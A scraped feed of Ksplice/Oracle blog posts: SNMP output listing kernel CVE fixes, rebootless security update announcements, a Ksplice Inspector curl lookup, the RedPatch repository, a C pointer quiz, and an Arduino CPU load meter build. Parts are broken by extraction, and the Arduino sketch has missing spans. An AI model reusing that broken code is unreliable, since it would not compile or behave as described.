= STRING: [qsajn0ce] KSPLICE-UPTRACK-MIB::kspliceavailName.16 = STRING: [5tx9tboo] KSPLICE-UPTRACK-MIB::kspliceavailName.17 = STRING: [2nve5xek] KSPLICE-UPTRACK-MIB::kspliceavailName.18 = STRING: [w7ik1ka8] KSPLICE-UPTRACK-MIB::kspliceavailName.19 = STRING: [9ky2kan5] KSPLICE-UPTRACK-MIB::kspliceavailName.20 = STRING: [zjr4ahvv] KSPLICE-UPTRACK-MIB::kspliceavailName.21 = STRING: [j0mkxnwg] KSPLICE-UPTRACK-MIB::kspliceavailName.22 = STRING: [mvu2clnk] KSPLICE-UPTRACK-MIB::kspliceavailName.23 = STRING: [rc8yh417] KSPLICE-UPTRACK-MIB::kspliceavailName.24 = STRING: [0zfhziax] KSPLICE-UPTRACK-MIB::kspliceavailName.25 = STRING: [ns82h58y] KSPLICE-UPTRACK-MIB::kspliceavailDesc.0 = STRING: Clear garbage data on the kernel stack when handling signals. KSPLICE-UPTRACK-MIB::kspliceavailDesc.1 = STRING: CVE-2011-1160: Information leak in tpm driver. KSPLICE-UPTRACK-MIB::kspliceavailDesc.2 = STRING: CVE-2011-1585: Authentication bypass in CIFS. KSPLICE-UPTRACK-MIB::kspliceavailDesc.3 = STRING: CVE-2011-2484: Denial of service in taskstats subsystem. KSPLICE-UPTRACK-MIB::kspliceavailDesc.4 = STRING: CVE-2011-2496: Local denial of service in mremap(). KSPLICE-UPTRACK-MIB::kspliceavailDesc.5 = STRING: CVE-2009-4067: Buffer overflow in Auerswald usb driver. KSPLICE-UPTRACK-MIB::kspliceavailDesc.6 = STRING: CVE-2011-2695: Off-by-one errors in the ext4 filesystem. KSPLICE-UPTRACK-MIB::kspliceavailDesc.7 = STRING: CVE-2011-2699: Predictable IPv6 fragment identification numbers. KSPLICE-UPTRACK-MIB::kspliceavailDesc.8 = STRING: CVE-2011-2723: Remote denial of service vulnerability in gro. KSPLICE-UPTRACK-MIB::kspliceavailDesc.9 = STRING: CVE-2011-2942: Regression in bridged ethernet devices. KSPLICE-UPTRACK-MIB::kspliceavailDesc.10 = STRING: CVE-2011-1833: Information disclosure in eCryptfs. KSPLICE-UPTRACK-MIB::kspliceavailDesc.11 = STRING: CVE-2011-3191: Memory corruption in CIFSFindNext. KSPLICE-UPTRACK-MIB::kspliceavailDesc.12 = STRING: CVE-2011-3209: Denial of Service in clock implementation. KSPLICE-UPTRACK-MIB::kspliceavailDesc.13 = STRING: CVE-2011-3188: Weak TCP sequence number generation. KSPLICE-UPTRACK-MIB::kspliceavailDesc.14 = STRING: CVE-2011-3363: Remote denial of service in cifs_mount. KSPLICE-UPTRACK-MIB::kspliceavailDesc.15 = STRING: CVE-2011-4110: Null pointer dereference in key subsystem. KSPLICE-UPTRACK-MIB::kspliceavailDesc.16 = STRING: CVE-2011-1162: Information leak in TPM driver. KSPLICE-UPTRACK-MIB::kspliceavailDesc.17 = STRING: CVE-2011-2494: Information leak in task/process statistics. KSPLICE-UPTRACK-MIB::kspliceavailDesc.18 = STRING: CVE-2011-2203: Null pointer dereference mounting HFS filesystems. KSPLICE-UPTRACK-MIB::kspliceavailDesc.19 = STRING: CVE-2011-4077: Buffer overflow in xfs_readlink. KSPLICE-UPTRACK-MIB::kspliceavailDesc.20 = STRING: CVE-2011-4132: Denial of service in Journaling Block Device layer. KSPLICE-UPTRACK-MIB::kspliceavailDesc.21 = STRING: CVE-2011-4330: Buffer overflow in HFS file name translation logic. KSPLICE-UPTRACK-MIB::kspliceavailDesc.22 = STRING: CVE-2011-4324: Denial of service vulnerability in NFSv4.. </code></pre> <p>And here's what happens after you run <code>uptrack-upgrade -y</code>, using Ksplice to fully upgrade your kernel:</p> <pre><code>$ snmpwalk -v 1 -c public -O e localhost KSPLICE-UPTRACK-MIB::kspliceStatus KSPL KSPLICE-UPTRACK-MIB::ksplicepatchIndex.0 = INTEGER: 0 KSPLICE-UPTRACK-MIB::ksplicepatchIndex.1 = INTEGER: 1 KSPLICE-UPTRACK-MIB::ksplicepatchIndex.2 = INTEGER: 2 KSPLICE-UPTRACK-MIB::ksplicepatchIndex.3 = INTEGER: 3 [ . . . ] </code></pre> <p>The plugin displays that the kernel is now up-to-date.</p> <h3>SNMP and Enterprise Manager</h3> <p>Once the plugin is up and running, you can monitor your system using Oracle Enterprise Manager. Specifically, you can create an SNMP Adapter to allow Enterprise Manager Management Agents to query the status of Ksplice on each system with the plugin installed. Check out our documentation on <a href="">SNMP support in Enterprise Manager</a> to get started, including section 22.6, "About Metric Extensions".</p> <p>This plugin represents the first step in greater functionality between Ksplice and Enterprise Manager and we're excited about what is coming up. If you have any questions about the plugin or suggestions for future development, leave a comment below or drop us a line at <a href="mailto:ksplice-support_ww@oracle.com">ksplice-support_ww@oracle.com</a>.</p> <p><b>[Update]</b></p> <p><u>Notes about Enterprise Manager 12c</u></p> <p>When connecting Enterprise Manager 12c (EM) as an SNMP client to the target Ksplice interface, there is an extra step required to fix a known issue where EM is not able to query an SNMP property, e.g:</p> <p>If your target is "ksplice.example.com", run the following command on your OMS:</p> <p> $ emcli modify_target -name=ksplice.example.com - CVE-2013-2850: Remote heap buffer overflow in iSCSI target subsystem. Samson.Yeung-Oracle 2013-05-31T07:16:54+00:00 2013-05-31T13:40:11+00:00 <link href="" type="text/css" rel="stylesheet" /> <p>We have just released a rebootless update to deal with a critical security vulnerability:</p> <pre><code>CVE-2013-2850: Remote heap buffer overflow in iSCSI target subsystem. If an iSCSI target is configured and listening on the network, a remote attacker can corrupt heap memory, and gain kernel execution control over the system and gain kernel code execution. </code></pre> <p> As this vulnerability is exploitable by remote users, Ksplice is issuing an update for all affected kernels immediately. </p> <p>. </p> <p>We recommend Oracle Linux Premier Support for receiving rebootless kernel updates via Ksplice.</p> Ksplice update for CVE-2013-2094 Samson.Yeung-Oracle 2013-05-15T04:11:45+00:00 2013-05-16T01:07:49+00:00 <p>This is a 0-day local privilege escalation found by Tommi Rantala while fuzzing the kernel using <a href="">Trinity</a>. The cause of that oops was patched in 3.8.10 in commit <a href="">8176cced706b5e5d15887584150764894e94e02f</a>. </p> <p>'spender' on Reddit has an <a href="">interesting writeup</a> on the details of this exploit. </p> <p>We've already shipped this for Fedora 17 and 18 for the 3.8 kernel, and an update for Ubuntu 13.04 will ship as soon as Canonical releases their kernel. </p> <p. </p> <p>All customers with Oracle Linux Premier Support should use Ksplice to update their kernel as soon as possible.</p> <p>[EDITED 2013-05-15]: We have now released an early update for Oracle RHCK 6, RedHat Enterprise Linux 6, Scientific Linux 6 and CentOS 6.</p> <p>[EDITED 2013-05-15]: We have released an early update for Wheezy. Additionally, Ubuntu Raring, Quantal and Precise have released their kernel, so we have released updates for them. </p> Ksplice Inspector Timhill-Oracle 2013-04-02T16:00:00+00:00 2013-04-02T16:02:13+00:00 <link href="" type="text/css" rel="stylesheet" /> <a href="">Ksplice Inspector</a>, a web tool to show you the updates Ksplice can apply to your kernel with zero downtime.</p> <p>The Ksplice Inspector is freely available to everyone. If you're running any <a href="">Ksplice supported kernel</a>, whether it is Oracle's Unbreakable Enterprise Kernel, a Red Hat compatible kernel, or the kernel of one of our supported <a href="">desktop distributions</a>, visit <a href=""></a> and follow the instructions and you'll see a list of all the available Ksplice updates for your kernel.</p> <p>But what if you're running a system without a browser, or one without a GUI at all? We've got you covered: you can get the same information from <a href="">our API</a> through the command line. Just run the following command:</p> <pre><code>(uname -s; uname -m; uname -r; uname -v) | \ curl \ -L -H "Accept: text/text" --data-binary @- </code></pre> <p>Once you've seen all the updates available for your kernel, you can quickly patch them all with <a href="">Ksplice</a>. If you're an <a href="">Oracle Linux</a> Premier Support customer, access to Ksplice is included with your subscription and available through the <a href="">Unbreakable Linux Network</a>. If you're running Red Hat Enterprise Linux and you would like to check it out, you can <a href="">try Ksplice free for 30 days</a>.</p> <p>Let us know what you think by commenting below or sending us an email at <a href="mailto:ksplice-support_ww@oracle.com">ksplice-support_ww@oracle.com</a>.</p> Introducing RedPatch Timhill-Oracle 2012-11-09T16:00:37+00:00 2012-11-09T16:00:37+00:00 <p>The Ksplice team is happy to announce the public availability of one of our git repositories, RedPatch. <a href="">RedPatch</a> contains the source for all of the changes Red Hat makes to their kernel, one commit per fix and we've published it on <a href="">oss.oracle.com/git</a>. With RedPatch, you can access the broken-out patches using <a href="">git</a>, browse them online via gitweb, and freely redistribute the source under the terms of the GPL. This is the same policy we provide for Oracle Linux and the <a href=";a=summary">Unbreakable Enterprise Kernel</a> (UEK). Users can freely access the source, view the commit logs and easily identify the changes that are relevant to their environments.</p> <p>To understand why we've created this project we'll need a little history. In early 2011, <a href="">Red Hat changed how they released their kernel source</a>,.</p> <p.</p> <p>At Oracle, we feel everyone in the Linux community can benefit from the work we already do to get our jobs done, so now we’re sharing these broken-out patches publicly. In addition to RedPatch, the complete source code for Oracle Linux and the Oracle Unbreakable Enterprise Kernel (UEK) is available from both <a href="">ULN</a> and our <a href="public-yum.oracle.com/">public yum server</a>, including all security errata.</p> <p>Check out RedPatch and subscribe to <a href="">redpatch-users@oss.oracle.com</a> for discussion about the project. Also, drop us a line and let us know how you're using RedPatch!</p> The Ksplice Pointer Challenge wdaher 2011-10-18T11:42:32+00:00 2011-11-10T11:51:37+00:00 <link rel="stylesheet" type="text/css" href="" /> <p>Back when Ksplice was just a research project at MIT, we all spent a lot of time around the student computing group, <a href="">SIPB</a>. While there, several precocious undergrads kept talking about how excited they were to take <a href="">6.828, MIT's operating systems class</a>. </p> <p>"You really need to understand pointers for this class," we cautioned them. "Reread K&R Chapter 5, again." Of course, they insisted that they understood pointers and didn't need to. So we devised a test. </p> <p>Ladies and gentlemen, I hereby do officially present the Ksplice Pointer Challenge, to be answered without the use of a computer: </p> <p><b>What does this program print?</b> </p> <pre>#include <stdio.h> int main() { int x[5]; printf("%p\n", x); printf("%p\n", x+1); printf("%p\n", &x); printf("%p\n", &x+1); return 0; } </pre> <p>This looks simple, but it captures a surprising amount of complexity. Let's break it down. </p> <p>To make this concrete, let's assume that <font face="courier new,courier,monospace">x</font> is stored at address <font face="courier new,courier,monospace">0x7fffdfbf7f00</font> (this is a 64-bit system). We've hidden each entry so that you have to click to make it appear -- I'd encourage you to think about what the line should output, before revealing the answer. </p> <pre>printf("%p\n", x);</pre>What will this print? <input id="printxguess" name="printxtext" /> <input type="button" onclick="if(window.parent && window.parent.Xinha){return false}$('#printx').show(); $('#printxyes').hide(); $('#printxno').hide(); if ( $('#printxguess').val().search('0x7fffdfbf7f00') != -1 ) { $('#printxyes').show() } else { $('#printxno').show() }" value="Guess" name="printxbutton" /> <div id="printx"> <p>Well, x is an array, right? You're no stranger to array syntax: <font face="courier new,courier,monospace">x[i]</font> accesses the <font face="courier new,courier,monospace">i</font>th element of <font face="courier new,courier,monospace">x</font>. </p> <p>If we search back in the depths of our memory, we remember that <font face="courier new,courier,monospace">x[i]</font> can be rewritten as <font face="courier new,courier,monospace">*(x+i)</font>. For that to work, <font face="courier new,courier,monospace">x</font> must be the memory location of the start of the array. </p> <p><b>Result: <font face="courier new,courier,monospace">printf("%p\n", x)</font> prints <font face="courier new,courier,monospace">0x7fffdfbf7f00</font>.</b> Alright. </p> </div> <pre>printf("%p\n", x+1);</pre>What will this print? <input id="printxplus1guess" name="printxplus1text" /> <input type="button" onclick="if(window.parent && window.parent.Xinha){return false}$('#printxplus1').show(); $('#printxplus1yes').hide(); $('#printxplus1no').hide(); if ( $('#printxplus1guess').val().search('0x7fffdfbf7f04') != -1 ) { $('#printxplus1yes').show() } else { $('#printxplus1no').show() }" value="Guess" name="printxplus1button" /> <div id="printxplus1"> <p>So, <font face="courier new,courier,monospace">x</font> is <font face="courier new,courier,monospace">0x7fffdfbf7f00</font>, and therefore <font face="courier new,courier,monospace">x+1</font> should be <font face="courier new,courier,monospace">0x7fffdfbf7f01</font>, right? </p> <p>You're not fooled. You remember that in C, pointer arithmetic is special and magical. If you have a pointer <font face="courier new,courier,monospace">p</font> to an <font face="courier new,courier,monospace">int</font>, <font face="courier new,courier,monospace">p+1</font> actually adds <font face="courier new,courier,monospace">sizeof(int)</font>to <font face="courier new,courier,monospace">p</font>. It turns out that we need this behavior if <font face="courier new,courier,monospace">*(x+i)</font> is properly going to end up pointing us at the right place -- we need to move over enough to pass one entry in the array. In this case, <font face="courier new,courier,monospace">sizeof(int)</font> is 4. </p> <p><b>Result: <font face="courier new,courier,monospace">printf("%p\n", x)</font> prints <font face="courier new,courier,monospace">0x7fffdfbf7f04</font>.</b> So far so good. </p> </div> <pre>printf("%p\n", &x);</pre>What will this print? <input id="printampxguess" name="printampxtext" /> <input type="button" onclick="if(window.parent && window.parent.Xinha){return false}$('#printampx').show(); $('#printampxyes').hide(); $('#printampxno').hide(); if ( $('#printampxguess').val().search('0x7fffdfbf7f00') != -1 ) { $('#printampxyes').show() } else { $('#printampxno').show() }" value="Guess" name="printampxbutton" /> <div id="printampx"> <p>Well, let's see. <font face="courier new,courier,monospace">&</font> basically means "the address of", so this is like asking "Where does <font face="courier new,courier,monospace">x</font> live in memory?" We answered that earlier, didn't we? <font face="courier new,courier,monospace">x</font> lives at <font face="courier new,courier,monospace">0x7fffdfbf7f00</font>, so that's what this should print. </p> <p>But hang on a second... if <font face="courier new,courier,monospace">&x</font> is <font face="courier new,courier,monospace">0x7fffdfbf7f00</font>, that means that it lives at <font face="courier new,courier,monospace">0x7fffdfbf7f00.</font> But when we <i>print</i> <font face="courier new,courier,monospace">x</font>, we also get <font face="courier new,courier,monospace">0x7fffdfbf7f00</font>. So <font face="courier new,courier,monospace">x == &x</font>. </p> <p>How can that <i>possibly</i> work? If <font face="courier new,courier,monospace">x</font> is a pointer that lives at <font face="courier new,courier,monospace">0x7fffdfbf7f00</font>, and also points to <font face="courier new,courier,monospace">0x7fffdfbf7f00</font>, where is the actual array stored? </p> <p>Thinking about that, I draw a picture like this: <br /> </p><center><img src="" /></center> <br />That can't be right. <p> </p> <p>So what's really going on here? Well, first off, anyone who ever told you that a pointer and an array were the same thing was lying to you. That's our fallacy here. If <font face="courier new,courier,monospace">x</font> were a pointer, and <font face="courier new,courier,monospace">x == &x</font>, then yes, we would have something like the picture above. But <font face="courier new,courier,monospace">x</font> isn't a pointer -- <font face="courier new,courier,monospace">x</font> is an array! </p> <p>And it turns out that in certain situations, an array can automatically "decay" into a pointer. Into <font face="courier new,courier,monospace">&x[0]</font>, to be precise. That's what's going on in examples 1 and 2. But not here. So <font face="courier new,courier,monospace">&x</font> does indeed print the address of <font face="courier new,courier,monospace">x</font>. </p> <p><b>Result: <font face="courier new,courier,monospace">printf("%p\n", &x)</font> prints <font face="courier new,courier,monospace">0x7fffdfbf7f00</font>.</b> </p> <div id="aside1"> <p>Aside: what is the type of <font face="courier new,courier,monospace">&x[0]</font>? Well, <font face="courier new,courier,monospace">x[0]</font> is an int, so <font face="courier new,courier,monospace">&x[0]</font> is "pointer to <font face="courier new,courier,monospace">int</font>". That feels right. <br /> </p> </div> </div> <pre>printf("%p\n", &x+1);</pre>What will this print? <input id="printampxplus1guess" name="printampxplus1text" /> <input type="button" onclick="if(window.parent && window.parent.Xinha){return false}$('#printampxplus1').show(); $('#printampxplus1yes').hide(); $('#printampxplus1no').hide(); if ( $('#printampxplus1guess').val().search('0x7fffdfbf7f14') != -1 ) { $('#printampxplus1yes').show() } else { $('#printampxplus1no').show() }" value="Guess" name="printampxplus1button" /> <div id="printampxplus1"> <p>Ok, now for the coup de grace. <font face="courier new,courier,monospace">x</font> may be an array, but <font face="courier new,courier,monospace">&x</font> is definitely a pointer. So what's <font face="courier new,courier,monospace">&x+1</font>? </p> <div id="aside2"> <p>First, another aside: what is the type of <font face="courier new,courier,monospace">&x</font>? Well... <font face="courier new,courier,monospace">&x</font> is a pointer to an array of 5 ints. How would you declare something like that? </p> <p>Let's fire up <a href="">cdecl</a> and find out: </p> <pre>cdecl> declare y as array 5 of int; int y[5] cdecl> declare y as pointer to array 5 of int; int (*y)[5]</pre> <p> </p> <p>Confusing syntax, but it works: <br /><font face="courier new,courier,monospace">int (*y)[5] = &x;</font> compiles without error and works the way you'd expect. </p> </div> <p>But back to the question at hand. Pointer arithmetic tells us that <font face="courier new,courier,monospace">&x+1</font> is going to be the address of x + <font face="courier new,courier,monospace">sizeof(x)</font>. What's <font face="courier new,courier,monospace">sizeof(x)</font>? Well, it's an array of 5 <font face="courier new,courier,monospace">int</font>s. On this system, each <font face="courier new,courier,monospace">int</font> is 4 bytes, so it should be 20 bytes, or <font face="courier new,courier,monospace">0x14</font>. </p> <p><b>Result <font face="courier new,courier,monospace">&x+1</font> prints <font face="courier new,courier,monospace">0x7fffdfbf7f14</font>.</b> </p> </div> <p><b>And thus concludes the Ksplice pointer challenge.</b> </p> <p>What's the takeaway? Arrays are <i>not</i> pointers (though they sometimes pretend to be!). More generally, C is subtle. Oh, and 6.828 students, if you're having trouble with Lab 5, it's probably because of a bug in your Lab 2. </p> <hr /> <p><b>P.S.</b> If you're interested in hacking on low-level systems at a place where your backwards-and-forwards knowledge of C semantics will be more than just an awesome party trick, <b>we're looking to hire kernel hackers for the Ksplice team</b>. </p> <p>We're based in beautiful Cambridge, Mass., though working remotely is definitely an option. Send me an email at <a href="mailto:waseem.daher@oracle.com?subject=Ksplice%20Pointer%20Challenge">waseem.daher@oracle.com</a> with a resume and/or a github link if you're interested! </p> Building a physical CPU load meter Ksplice Post Importer 2011-06-27T23:00:00+00:00 2012-08-03T14:38:37+00:00 <link rel="stylesheet" type="text/css" href="" /> <div class="keegan"> <p>I built this analog CPU load meter for my dev workstation:</p> <p class="aligncenter" style="width: auto; "><a href="" style="padding: 0px; "><img src="" alt="Physical CPU load meter" title="The meter" width="512" height="346" class="aligncenter wp-image-3493" /></a></p> <p class="aligncenter"> <iframe class="aligncenter" width="512" height="420" src="" frameborder="0"></iframe> </p> All I did was drill a few holes into the CPU and probe the power supply lines... <p> </p> <p>Okay, I lied. This is actually a fun project that would make a great intro to embedded electronics, or a quick afternoon hack for someone with a bit of experience.</p> <div id="the-parts"> <h3>The parts</h3> <p>The main components are:</p> <ul class="incremental"> <li> <p><strong>Current meter</strong>: I got this at <a href="">MIT Swapfest</a>. The scale printed on the face is misleading: the meter itself measures only about 600 microamps in each direction. (It's designed for use with a circuit like <a href="">this one</a>). We can determine the actual current scale by connecting (in series) the analog meter, a <a href="">variable resistor</a>, and a digital <a href="">multimeter</a>, and driving them from a 5 volt power supply. This lets us adjust and reliably measure the current flowing through the analog meter.</p> </li> <li> <p><strong><a href="">Arduino</a></strong>:.</p> </li> <li> <p><strong>Resistor</strong>: The Arduino board is powered over USB; its output pins produce 5 volts for a logic 'high'. We want this 5 volt potential to push 600 microamps of current through the meter, according to the earlier measurement. Using <a href="">Ohm's law</a> we can <a href="">calculate</a> that we'll need a resistance of about 8.3 kilohms. Or you can just measure the variable resistor from earlier.</p> </li> </ul> <p>We'll also use some wire, solder, and tape.</p> </div> <div id="building-it"> <h3>Building it</h3> <p>The resistor goes in series with the meter. I just soldered it directly to the back:</p> <p class="aligncenter" style="width: auto; "><a href="" style="padding: 0px; "><img src="" alt="Back of the meter" title="Back of the meter" width="512" height="492" class="aligncenter wp-image-3507" /></a></p> <p>Some tape over these components prevents them from shorting against any of the various junk on my desk. Those wires run to the Arduino, hidden behind my monitor, which is connected to the computer by USB:</p> <p class="aligncenter" style="width: auto; "><a href="" style="padding: 0px; "><img src="" alt="The Arduino" title="The Arduino" width="512" height="310" class="aligncenter wp-image-3507" /></a></p> <p>That's it for hardware!</p> </div> <div id="code-for-the-arduino"> <h3>Code for the Arduino</h3> <p>The <a href="">Arduino IDE</a> will compile code written in a C-like language and upload it to the Arduino board over USB. Here's our program:</p> <pre class="sourceCode c"><code><span class="Others Preprocessor">#define DIRECTION 2</span> <span class="Others Preprocessor">#define MAGNITUDE 3</span> <span class="DataType DataType">void</span><span class="Normal NormalText"> setup</span><span class="Normal Symbol">()</span><span class="Normal NormalText"> </span><span class="Normal Symbol">{</span> <span class="Normal NormalText"> Serial</span><span class="Normal Symbol">.</span><span class="Normal NormalText">begin</span><span class="Normal Symbol">(</span><span class="DecVal Decimal">57600</span><span class="Normal Symbol">);</span> <span class="Normal NormalText"> pinMode</span><span class="Normal Symbol">(</span><span class="Normal NormalText">DIRECTION</span><span class="Normal Symbol">,</span><span class="Normal NormalText"> OUTPUT</span><span class="Normal Symbol">);</span> <span class="Normal NormalText"> pinMode</span><span class="Normal Symbol">(</span><span class="Normal NormalText">MAGNITUDE</span><span class="Normal Symbol">,</span><span class="Normal NormalText"> OUTPUT</span><span class="Normal Symbol">);</span> <span class="Normal Symbol">}</span> <span class="DataType DataType">void</span><span class="Normal NormalText"> loop</span><span class="Normal Symbol">()</span><span class="Normal NormalText"> </span><span class="Normal Symbol">{</span> <span class="Normal NormalText"> </span><span class="DataType DataType">int</span><span class="Normal NormalText"> x </span><span class="Normal Symbol">=</span><span class="Normal NormalText"> Serial</span><span class="Normal Symbol">.</span><span class="Normal NormalText">read</span><span class="Normal Symbol">();</span> <span class="Normal NormalText"> </span><span class="Keyword">if</span><span class="Normal NormalText"> </span><span class="Normal Symbol">(</span><span class="Normal NormalText">x </span><span class="Normal Symbol">==</span><span class="Normal NormalText"> </span><span class="Normal Symbol">-</span><span class="DecVal Decimal">1</span><span class="Normal Symbol">)</span> <span class="Normal NormalText"> </span><span class="Keyword">return</span><span class="Normal Symbol">;</span> <span class="Normal NormalText"> </span><span class="Keyword">if</span><span class="Normal NormalText"> < NormalText"> digitalWrite</span><span class="Normal Symbol">(</span><span class="Normal NormalText">DIRECTION</span><span class="Normal Symbol">,</span><span class="Normal NormalText"> LOW</span><span class="Normal Symbol">);</span> <span class="Normal NormalText"> analogWrite </span><span class="Normal Symbol">(</span><span class="Normal NormalText">MAGNITUDE</span><span class="Normal Symbol">,</span><span class="Normal NormalText"> </span><span class="DecVal Decimal">2</span><span class="Normal Symbol">*(</span><span class="DecVal Decimal">127</span><span class="Normal NormalText"> </span><span class="Normal Symbol">-</span><span class="Normal NormalText"> x</span><span class="Normal Symbol">));</span> <span class="Normal NormalText"> </span><span class="Normal Symbol">}</span><span class="Normal NormalText"> </span><span class="Keyword">else</span><span class="Normal NormalText"> </span><span class="Normal Symbol">{</span> <span class="Normal NormalText"> digitalWrite</span><span class="Normal Symbol">(</span><span class="Normal NormalText">DIRECTION</span><span class="Normal Symbol">,</span><span class="Normal NormalText"> HIGH</span><span class="Normal Symbol">);</span> <span class="Normal NormalText"> analogWrite </span><span class="Normal Symbol">(</span><span class="Normal NormalText">MAGNITUDE</span><span class="Normal Symbol">,</span><span class="Normal NormalText"> </span><span class="DecVal Decimal">255</span><span class="Normal NormalText"> </span><span class="Normal Symbol">-</span><span class="Normal NormalText"> </span><span class="DecVal Decimal">2< Symbol">}</span> </code></pre> <p>When it turns on, the Arduino will execute <code>setup()</code> once, and then call <code>loop()</code> over and over, forever. On each iteration, we try to read a byte from the serial port. A value of <code>-1</code> indicates that no byte is available, so we <code>return</code> and try again a moment later. Otherwise, we translate a byte value between 0 to 255 into a meter deflection between −600 and 600 microamps.</p> <p>Pins 0 and 1 are used for serial communication, so I connected the meter to pins 2 and 3, and named them <code>DIRECTION</code> and <code>MAGNITUDE</code> respectively. When we call <code>analogWrite</code> on the <code>MAGNITUDE</code> pin with a value between 0 and 255, we get a proportional voltage between 0 and 5 volts. Actually, the Arduino fakes this by <a href="">alternating</a> between 0 and 5 volts very rapidly, but our meter is a slow mechanical object and won't know the difference.</p> <p>Suppose the <code>MAGNITUDE</code> pin is at some intermediate voltage between 0 and 5 volts. If the <code>DIRECTION</code> pin is low (0 V), <a href="">conventional current</a> will flow from <code>MAGNITUDE</code> to <code>DIRECTION</code> through the meter. If we set <code>DIRECTION</code> high (5 V), current will flow from <code>DIRECTION</code> to <code>MAGNITUDE</code>. So we can send current through the meter in either direction, and we can control the amount of current by controlling the effective voltage at <code>MAGNITUDE</code>. This is all we need to make the meter display whatever reading we want.</p> </div> <div id="code-for-the-linux-host"> <h3>Code for the Linux host</h3> <p>On Linux we can get CPU load information from the <a href=""><code>proc</code> special filesystem</a>:</p> <pre><code><span class="Prompt">keegan@lyle$</span> <span class="Entry">head -n 1 /proc/stat</span> cpu 965348 22839 479136 88577774 104454 5259 24633 0 0 </code></pre> <p>These numbers tell us how much time the system's CPUs have spent in each of several states:</p> <ol class="incremental" start="0" style="list-style-type: decimal; "> <li><strong>user</strong>: running normal user processes</li> <li><strong>nice</strong>: running user processes of <a href="">low priority</a></li> <li><strong>system</strong>: running kernel code, often on behalf of user processes</li> <li><strong>idle</strong>: doing nothing because all processes are sleeping</li> <li><strong>iowait</strong>: doing nothing because all runnable processes are waiting on I/O devices</li> <li><strong>irq</strong>: handling asynchronous events from hardware</li> <li><strong>softirq</strong>: performing tasks deferred by <strong>irq</strong> handlers</li> <li><strong>steal</strong>: not running, because we're in a virtual machine and some other VM is using the physical CPU</li> <li><strong>guest</strong>: acting as the host for a running virtual machine</li> </ol> <p>The numbers in <code>/proc/stat</code> are cumulative totals since boot, measured in arbitrary time units. We can read the file twice and subtract, in order to get a measure of where CPU time was spent recently. Then we'll use the fraction of time spent in states other than <strong>idle</strong> as a measure of CPU load, and send this to the Arduino.</p> <p>We'll do all this with a small Python script. The <a href="">pySerial</a> library lets us talk to the Arduino over USB serial. We'll configure it for 57,600 bits per second, the same rate specified in the Arduino's <code>setup()</code> function. Here's the code:</p> <pre class="sourceCode python"><code><span class="Comment">#!/usr/bin/env python</span> <span class="Char Preprocessor">import</span><span class="Normal NormalText"> </span><span class="Normal">serial</span> <span class="Char Preprocessor">import</span><span class="Normal NormalText"> </span><span class="Normal">time</span> <span class="Normal">port</span><span class="Normal NormalText"> </span><span class="Normal Operator">=</span><span class="Normal NormalText"> </span><span class="Normal">serial</span><span class="Normal NormalText">.</span><span class="Normal">Serial</span><span class="Normal Operator">(</span><span class="String">'/dev/ttyUSB0'</span><span class="Normal NormalText">, </span><span class="DecVal Int">57600</span><span class="Normal Operator">)</span> <span class="Normal">old</span><span class="Normal NormalText"> </span><span class="Normal Operator">=</span><span class="Normal NormalText"> </span><span class="Others SpecialVariable">None</span> <span class="Keyword FlowControlKeyword">while</span><span class="Normal NormalText"> </span><span class="Others SpecialVariable">True</span><span class="Normal NormalText">:</span> <span class="Normal NormalText"> </span><span class="Normal">with</span><span class="Normal NormalText"> </span><span class="DataType BuiltinFunction">open</span><span class="Normal Operator">(</span><span class="String">'/proc/stat'</span><span class="Normal Operator">)</span><span class="Normal NormalText"> </span><span class="Char Preprocessor">as</span><span class="Normal NormalText"> </span><span class="Normal">stat</span><span class="Normal NormalText">:</span> <span class="Normal NormalText"> </span><span class="Normal">new</span><span class="Normal NormalText"> </span><span class="Normal Operator">=</span><span class="Normal NormalText"> </span><span class="DataType BuiltinFunction">map</span><span class="Normal Operator">(</span><span class="DataType BuiltinFunction">float</span><span class="Normal NormalText">, </span><span class="Normal">stat</span><span class="Normal NormalText">.</span><span class="Normal">readline</span><span class="Normal Operator">()</span><span class="Normal NormalText">.</span><span class="Normal">strip</span><span class="Normal Operator">()</span><span class="Normal NormalText">.</span><span class="Normal">split</span><span class="Normal Operator">()</span><span class="Normal NormalText">[</span><span class="DecVal Int">1</span><span class="Normal NormalText">:]</span><span class="Normal Operator">)</span> <span class="Normal NormalText"> </span><span class="Keyword FlowControlKeyword">if</span><span class="Normal NormalText"> </span><span class="Normal">old</span><span class="Normal NormalText"> </span><span class="Normal Operator">is</span><span class="Normal NormalText"> </span><span class="Normal Operator">not</span><span class="Normal NormalText"> </span><span class="Others SpecialVariable">None</span><span class="Normal NormalText">:</span> <span class="Normal NormalText"> </span><span class="Normal">diff</span><span class="Normal NormalText"> </span><span class="Normal Operator">=</span><span class="Normal NormalText"> [n </span><span class="Normal Operator">-</span><span class="Normal NormalText"> o </span><span class="Keyword FlowControlKeyword">for</span><span class="Normal NormalText"> n, o </span><span class="Normal Operator">in</span><span class="Normal NormalText"> </span><span class="DataType BuiltinFunction">zip</span><span class="Normal Operator">(</span><span class="Normal">new</span><span class="Normal NormalText">, </span><span class="Normal">old</span><span class="Normal Operator">)</span><span class="Normal NormalText">]</span> <span class="Normal NormalText"> </span><span class="Normal">idle</span><span class="Normal NormalText"> </span><span class="Normal Operator">=</span><span class="Normal NormalText"> </span><span class="Normal">diff</span><span class="Normal NormalText">[</span><span class="DecVal Int">3</span><span class="Normal NormalText">] </span><span class="Normal Operator">/</span><span class="Normal NormalText"> </span><span class="DataType BuiltinFunction">sum</span><span class="Normal Operator">(</span><span class="Normal">diff</span><span class="Normal Operator">)</span> <span class="Normal NormalText"> </span><span class="Normal">port</span><span class="Normal NormalText">.</span><span class="Normal">write</span><span class="Normal Operator">(</span><span class="DataType BuiltinFunction">chr</span><span class="Normal Operator">(</span><span class="DataType BuiltinFunction">int</span><span class="Normal Operator">(</span><span class="DecVal Int">255</span><span class="Normal NormalText"> </span><span class="Normal Operator">*</span><span class="Normal NormalText"> </span><span class="Normal Operator">(</span><span class="DecVal Int">1</span><span class="Normal NormalText"> </span><span class="Normal Operator">-</span><span class="Normal NormalText"> </span><span class="Normal">idle</span><span class="Normal Operator">))))</span> <span class="Normal NormalText"> </span><span class="Normal">old</span><span class="Normal NormalText"> </span><span class="Normal Operator">=</span><span class="Normal NormalText"> </span><span class="Normal">new</span> <span class="Normal NormalText"> </span><span class="Normal">time</span><span class="Normal NormalText">.</span><span class="Normal">sleep</span><span class="Normal Operator">(</span><span class="Float">0.25</span><span class="Normal Operator">)</span> </code></pre> </div> <div id="thats-it"> <h3>That's it!</h3> <p>That's all it takes to make a physical, analog CPU meter. It's <a href="">been done before</a> <code>analogWrite</code>), and a number of switches, knobs, 